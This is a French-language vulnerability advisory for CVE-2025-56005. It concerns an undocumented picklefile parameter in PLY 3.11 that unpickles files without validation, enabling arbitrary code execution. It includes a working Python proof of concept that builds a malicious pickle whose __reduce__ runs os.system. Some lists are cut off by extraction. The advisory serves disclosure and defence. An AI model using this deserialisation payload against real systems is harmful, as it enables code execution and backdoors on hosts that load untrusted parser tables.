
RCE non documentée dans PLY via le paramètre `picklefile`
CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`
Une fonctionnalité non documentée et dangereuse dans la version de PLY 3.11 distribuée via PyPI permet une exécution de code arbitraire lorsque la fonction yacc() est invoquée avec le paramètre picklefile.
Le paramètre picklefile amène PLY à désérialiser un fichier .pkl à l'aide de pickle.load() de Python sans validation. Étant donné que le module de Python permet l'exécution de code arbitraire lors de la désérialisation (par exemple, via ), un attaquant capable de contrôler le fichier pickle fourni peut exécuter du code arbitraire lors de l'initialisation du parseur.
pickle__reduce__()Ce paramètre n'est pas documenté dans la documentation officielle de PLY ni dans le dépôt GitHub, mais il est actif dans la version publiée sur PyPI.
Si un attaquant peut contrôler, remplacer ou influencer le fichier .pkl transmis à yacc(picklefile=...), il peut obtenir :
Cela peut affecter les applications qui chargent les tables du parseur depuis :
ply.yacc.yacc(picklefile=...)LRTable.read_pickle() dans ply/yacc.pyCette vulnérabilité présente un risque élevé en raison de sa nature furtive et de son potentiel de persistance.
Le paramètre picklefile est non documenté dans la documentation officielle de PLY et dans le dépôt GitHub. Cependant, la version de PLY 3.11 distribuée via PyPI inclut cette fonctionnalité et traite le fichier fourni à l'aide de pickle.load() sans validation.
Étant donné que le module pickle de Python permet l'exécution de code intégré lors de la désérialisation, un fichier pickle malveillant peut exécuter du code arbitraire lors de la configuration du parseur, avant que toute logique d'analyse ne soit invoquée.
Au moment de la rédaction, le mainteneur n'a pas publiquement reconnu ce comportement.
Cette fonctionnalité peut être exploitée pour introduire des portes dérobées persistantes, en particulier dans les environnements où les fichiers de tables du parseur sont :
Compte tenu de l'absence de documentation, du chemin d'exécution silencieux et de l'impact élevé d'une désérialisation non sécurisée, l'attribution d'un CVE est justifiée afin de sensibiliser et de protéger les utilisateurs en aval.
Cette preuve de concept démontre l'exécution de code arbitraire lorsqu'un fichier pickle malveillant est fourni via le paramètre picklefile non documenté.
La PoC :
Lorsque yacc(picklefile='exploit.pkl') est invoqué, du code arbitraire est exécuté lors de l'initialisation du parseur.
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
picklefile avec des fichiers non fiables ou inscriptibles par des tiers